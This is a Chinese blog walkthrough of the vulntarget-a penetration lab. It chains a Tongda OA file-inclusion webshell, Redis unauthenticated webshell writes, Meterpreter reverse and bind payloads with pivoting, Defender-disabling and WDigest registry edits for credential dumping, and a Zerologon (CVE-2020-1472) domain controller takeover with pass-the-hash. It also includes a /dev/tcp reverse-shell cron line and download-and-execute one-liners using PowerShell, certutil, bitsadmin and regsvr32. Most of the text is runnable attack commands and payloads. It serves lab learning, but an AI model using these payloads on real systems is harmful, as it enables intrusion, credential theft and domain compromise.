vulntarget-a靶场的学习思考

前言:

最近玩了一下crow大表哥的靶场,觉得靶场打过之后确实是能用到很多技巧和知识,所以在这里做一些个人的学习总结,文章和靶场适合新人,因为不用做免杀,也可以让人初步的了解一下域环境


    靶场由星期五实验室与乌鸦安全共同维护,GIthub可自行下载,Github原文链接以及原过程链接如下

https://github.com/crow821/vulntarget.
https://mp.weixin.qq.com/s/uxwbnVOxkR8OBkkY9WW6aQ.

靶场下载地址如下

链接: https://pan.baidu.com/s/195iUmvbaKOhtn2S_O-F6TA 提取码: jnkq

此次实验用到的知识点如下:

  1. 通达OA文件包含获取webshell

  2. redis未授权访问写马

  3. msfvenom生成正向连接、反向连接后门

  4. msfconsole进行正向、反向连接

  5. 路由表的添加

  6. 设置代理

  7. 修改注册表利用wiki读取明文密码

  8. cve-2020-1472获取域控权限

  9. impacket包的简单利用

  10. 文件传输

  11. 添加防火墙出站规则(netsh advfirewall set allprofiles state off)

  12. cobalt strike的简单使用

环境介绍:

kali攻击机:

192.168.10.39

win7双网卡

开机密码 admin

网卡1:192.168.10.38(此ip不固定,重启就会变化)

网卡2:10.0.20.98

win2016双网卡

开机密码 Admin#123

网卡1:10.0.10.111

网卡2:10.0.20.99

win2019

开机密码 Admin@666

网卡1:10.0.10.110

win7拿shell

通达OA文件包含+未授权GETSHELL
在这里插入图片描述写上传脚本,用来未授权上传图片马,命名为1.html
在这里插入图片描述

<html> 
<body> 
<form action="http://192.168.10.38/ispirit/im/upload.php" method="post" enctype="multipart/form-data"> 
<input type="text"name='P' value = 1 ></input> 
<input type="text"name='MSG_CATE' value = 'file'></input>
<input type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input> 
<input type="file" name="ATTACHMENT"></input> 
<input type="submit" ></input> 
</body> 
</html>

访问页面如下
在这里插入图片描述
上传的图片马内容如下

<?php
  $fn = fopen("2.php","w+");
  $st=base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWycxMjM0NTYnXSk7cGhwaW5mbygpOz8+");
  $result = fwrite($fn,$st);
  fclose($fn);
?>

图片马命名为2.jpg
在这里插入图片描述
访问1.html,并上传2.jpg,如下图
在这里插入图片描述
因为直接写敏感的函数会触发500错误,需要进行base64绕一下文件包含操作如下,上传图片马2.jpg后访问

http://192.168.43.235/ispirit/interface/gateway.php
body
json={
    
    "url":"/general/../../attach/im/2203/6758580332.2.jpg"}

在这里插入图片描述
文件包含成功后,可直接连接小马
http://192.168.10.38/ispirit/interface/2.php
密码为123456
使用蚁剑链接成功
在这里插入图片描述

msf上线进行横向

使用msf生成反向连接马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.39  LPORT=1001 -f exe > /root/1001.exe

在这里插入图片描述
将生成的马子传入蚁剑,而后执行即可
在这里插入图片描述

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.10.39
set lport 1001
run

在这里插入图片描述
上线成功
查看当前路由情况

run get_local_subnets

在这里插入图片描述
添加路由表

run autoroute -s 10.0.20.0/24

或者

bg(background)
use post/multi/manage/autoroute
set session 1
run

在这里插入图片描述
查看添加的路由

run autoroute -p

在这里插入图片描述
添加代理

bg
use auxiliary/server/socks_proxy
options
run

在这里插入图片描述
默认端口是1080
或者添加sock4代理

use auxiliary/server/socks4a
set srvport 9999
run

手动添加代理

vim /etc/proxychains4.conf

老版本的是

vim /etc/proxychains.conf

在这里插入图片描述
此时kali代理就生效了

arp -a

在这里插入图片描述
扫描端口,偷一下懒(新版本kali与老版本kali都可以使用这个命令)

proxychains nmap -Pn -sT  10.0.20.99 -p 6000-6400

在这里插入图片描述
探测到6379端口,疑似redis

proxychains4 nmap -v -n -Pn -p 6379 -sV --script redis-info 10.0.20.99

在这里插入图片描述

win2016拿shell

redis未授权访问
疑似存在redis未授权访问,直接连接

proxychains4 redis-cli -h 10.0.20.99

连接成功
在这里插入图片描述
利用Redis写入Webshell,前提是目标机器开启Web服务,并且需要知道⽹站路径,还需要具有⽂件读写权限,总体利用起来还是很困难的;这里我推荐直接bash反弹

nc -lvp 7777
set x "\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.43.39/7777 0>&1\n"
config set dir /var/spool/cron
config set dbfilename root
save

啊偶,尴尬,这是windows,他没有nc.exe是不能像linux一样直接反弹bash的
CONFIG GET dir 也仅能看到安装路径。。。

在这里插入图片描述
这里可以使用msf自带的redis爆破模块,

search redis

在这里插入图片描述

use 6

在这里插入图片描述
半天没动静,失败了
在这里插入图片描述
只能说用人家的了,redis写马,但是其实是不知道路径的,这就很难受,假装路径是自己猜到的,不知道为啥,phpmyadmin没起来

proxychains4 redis-cli -h 10.0.20.99
config set dir "C:/phpStudy/PHPTutorial/WWW/"
config set dbfilename tx.php
set 1 "<?php @eval($_POST['tx']);?>"
save

在这里插入图片描述
蚁剑设置代理
在这里插入图片描述
连接小马成功
在这里插入图片描述
反向连接,失败

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.20.98  LPORT=1002 -f exe > /root/1002.exe

在这里插入图片描述

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.0.20.98
set lport 1002
run

在这里插入图片描述
死活不上线,查了下,代理、路由表都没问题,win7与win2016监听都已经监听到了1002端口
在这里插入图片描述
在这里插入图片描述
可以看见,win2016主机状态为syn_sent请求连接状态,若是达成ESTABLISHED状态则表示连接成功,若是有无数个syn_sent则可达到syn泛洪的一个状态,又是一个入狱小技巧,但是就是没连上,我真菜,妈的

正向连接成功

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=1003 -f exe > 1003.exe

在这里插入图片描述

use exploit/multi/handler 
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.0.20.99
set lport 1003
exploit -j -z

在这里插入图片描述
运行1003.exe后,上线成功
在这里插入图片描述
在这里插入图片描述
尝试读取密码
查看当前系统架构
在这里插入图片描述
查看进程,发现1003.exe与当前系统架构一致,无需进行进程迁移
在这里插入图片描述

若是当前马子架构与系统存在差异,可以进行进程迁移指令
migrate [PID]
加载kiwi模块  load kiwi

在这里插入图片描述
help kiwi 获取使用帮助,kiwi其实就是mimikatz增强版,由于当前权限就是system所以不用提权了
在这里插入图片描述
读取全部密码
好烦啊,由于是win2016,在2012版本就读不到明文密码了,除非修改注册表,这里读取到了NTLM HASH值

creds_all 

在这里插入图片描述
如果想读取明文密码,需要修改注册表,同时得等用户下次输入密码才行,可以重启或者锁屏

临时禁止Windows Defender,防止防火墙报警
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
gpupdate /force
修改注册表开启UseLogonCredential
win2016方法:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f   关闭
win2012方法:
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
锁屏:
rundll32.exe user32.dll,LockWorkStation
注销:
查询已登录用户的会话ID
query user
logoff ID   

注销容易丢shell,慎用
嘻嘻嘻,成功读到,越来越刑了
在这里插入图片描述
查看win2016网卡

run get_local_subnets

在这里插入图片描述
添加路由表

run autoroute -s 10.0.10.0/24

在这里插入图片描述
查看路由表

run autoroute -p

在这里插入图片描述
探测主域信息

run post/windows/gather/enum_domain

以前实验的时候,win2016权限的时候是可以定位到域控信息的,难道是因为现在是system权限导致无法定位域控?
在这里插入图片描述
附上一张我上次成功定位域控服务器的图,图有点模糊,wps是真的烦
在这里插入图片描述

vulntarget
win2019
10.0.10.110

若是在实际操作中,无法定位域控服务器,可以配合其它命令
net user /domain 获取当前域内所有用户,报错了,可能是权限不够
在这里插入图片描述
ipconfig /all 查看当前所有网络配置,找到当前域的DNS,一般DNS就是域控地址
在这里插入图片描述
net config workstation 查看当前登录情况
在这里插入图片描述

获取域控服务器权限

获取域控有以下几种方式

1.溢出
ms08_067
ms14-068 进行普通域用户提权为域管理员权限
cve-2020-1472等
2.DNS 溢出
DNS 服务器可能就是域控 so…
3.弱口令爆破
弱口令+已经控制的服务器口令+
将抓下的明文+一些常用弱口令。组合成字典去。
爆破局域网中存在数据库服务器的主机
4.键盘记录+3389 登入记录
这个记录了 在线管理员的 键盘记录~
keyscan_dump //进行键盘监控
运气好与管理员登陆过这台普通域用户的机子,直接mimikatz进行内存读密码就行
5.假冒令牌
在假冒攻击中 我们将盗取目标系统的一个 Kerberos 令牌,将其用在身份认证中。来假冒当初建立这个令牌的用户。为了能够获取到域管理员的凭证我们需要用域管理员登录一下远程桌面。
6.嗅探
7.ipc$

这里用到的漏洞是
CVE-2020-1472
首先我们这里需要用到python的一个impacket库,下载链接如下:
https://github.com/SecureAuthCorp/impacket.git
虽然知道2019存在该漏洞,但是在平时我们是不知道别人的主机是否安装了这个漏洞补丁的,所以先用poc看一下,poc链接如下:
https://github.com/SecuraBV/CVE-2020-1472
此处我们既然要利用该漏洞,就应该用exp将域控打空
exp如下:
https://github.com/dirkjanm/CVE-2020-1472
python3 cve-2020-1472-exploit.py 域控主机名 域控IP

检测漏洞存在与否,特别慢,最后还没检测出来

proxychains python3 zerologon_tester.py win2019 10.0.10.110

在这里插入图片描述
密码置空

proxychains python3 cve-2020-1472-exploit.py win2019 10.0.10.110 

在这里插入图片描述
获取hash 进入impacket/examples
python3 secretsdump.py 域名称/域控主机名$@域控IP -no-pass

proxychains python3 secretsdump.py vulntarget/win2019\$@10.0.10.110 -no-pass

在这里插入图片描述
aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15

可以使用smbexex/wmiexec.py

proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 [email protected]

在这里插入图片描述
python3 wmiexec.py -hashes hash值 域名称/域控用户名@域控ip

proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 vulntarget/[email protected]

在这里插入图片描述
可以看到,权限是不一样的
开启远程桌面

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /fwmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

由于我没能获取到域控服务器的明文密码,并且使用hash直接登录远程桌面失败后,我想采取老办法,先传马子上线然后获取明文密码再远程,但是废了半天劲儿,文件传上去了,但是无论是cs、还是msf的正向反向,都上不去,所以只能说学习的路还很长
后来查了好多东西,原来是防火墙作祟。。。
上传马子的成功姿势如下
powershell (new-object System.Net.WebClient).DownloadFile(‘http://10.0.10.111/1001.exe’,‘c:\1001.exe’)
为了方便,我直接吧1001.exe上传到了win2016服务器的根路径,因为不需要我启动什么python服务,毕竟win2016是有小皮环境的
在这里插入图片描述
上传的话有很多种方式,但是试了一下,只有powershell好使

生成正向马子

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=1005 -f exe > 1005.exe 

在这里插入图片描述
smbexec.py获取域控权限后,执行以下命令
添加防火墙规则,虽然不知道这是啥玩意,但是应该是成功了

netsh advfirewall firewall add rule name="bind tcp" protocol=TCP dir=in localport=1005 action=allow

在这里插入图片描述
上传文件,一定要注意,先将1005.exe小马上传至10.0.20.99服务器根路径

powershell (new-object System.Net.WebClient).DownloadFile('http://10.0.10.111/1005.exe','c:\1005.exe')

在这里插入图片描述
msf开启正向监听

use exploit/multi/handler 
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.0.10.110
set lport 1005
run

在这里插入图片描述
上线了
由于我这里用的是smbexec.py,所以上线的权限也是administrator权限

其它的方式在这里也简单的介绍一下,都是windows自带的

certutil
certutil -urlcache -split -f http://192.168.10.39/5.exe c:\1.exe

bitsadmin
bitsadmin /transfer n http://192.168.10.39/5.exe c:\1.exe

regsvr32
regsvr32 /u /s /i:http://192.168.10.39/5.exe scrobj.dll

Curl
curl http://192.168.10.39/5.exe

Wget
wget http://192.168.10.39/5.exe

nc就更不用说了,但是人家机器上没有

cs上线步骤如下:

建立win7监听如下

在这里插入图片描述
生成后门
在这里插入图片描述

在这里插入图片描述
将生成的CS_1101.exe通过蚁剑上传至10.0.20.98(win7)服务器,而后执行
在这里插入图片描述
CS成功上线
在这里插入图片描述
上线第二台10.0.20.99(win2016)机器,需要重新建立一个正向监听
在这里插入图片描述
而后生成马子命名为CS_1103.exe
在这里插入图片描述
监听器选择Win2016
在这里插入图片描述
将生成的CS_1003.exe通过蚁剑上传至10.0.20.99(win2016)服务器,而后运行即可
在这里插入图片描述
此时CS未成功上线,需要使用10.0.20.98机器进行监听才行

connect 10.0.20.99 1103

在这里插入图片描述
如法炮制,再次建立一个监听器1104
在这里插入图片描述
生成与步骤二相同的马子CS_1104.exe而后上传至10.0.10.111服务器,再借鉴powershell命令进行下载至10.0.10.110服务器,并添加对应的防火墙规则,而后执行即可

powershell (new-object System.Net.WebClient).DownloadFile('http://10.0.10.111/CS_1104.exe','c:\CS_1104.exe​')

在这里插入图片描述
添加防火墙规则

netsh advfirewall firewall add rule name="bind tcp" protocol=TCP dir=in localport=1104 action=allow

在这里插入图片描述
执行小马,cs选择10.0.20.99进行监听
在这里插入图片描述

conoect 10.0.10.110 1104

在这里插入图片描述
芜湖,上线喽

猜你喜欢

转载自blog.csdn.net/weixin_48421613/article/details/123626822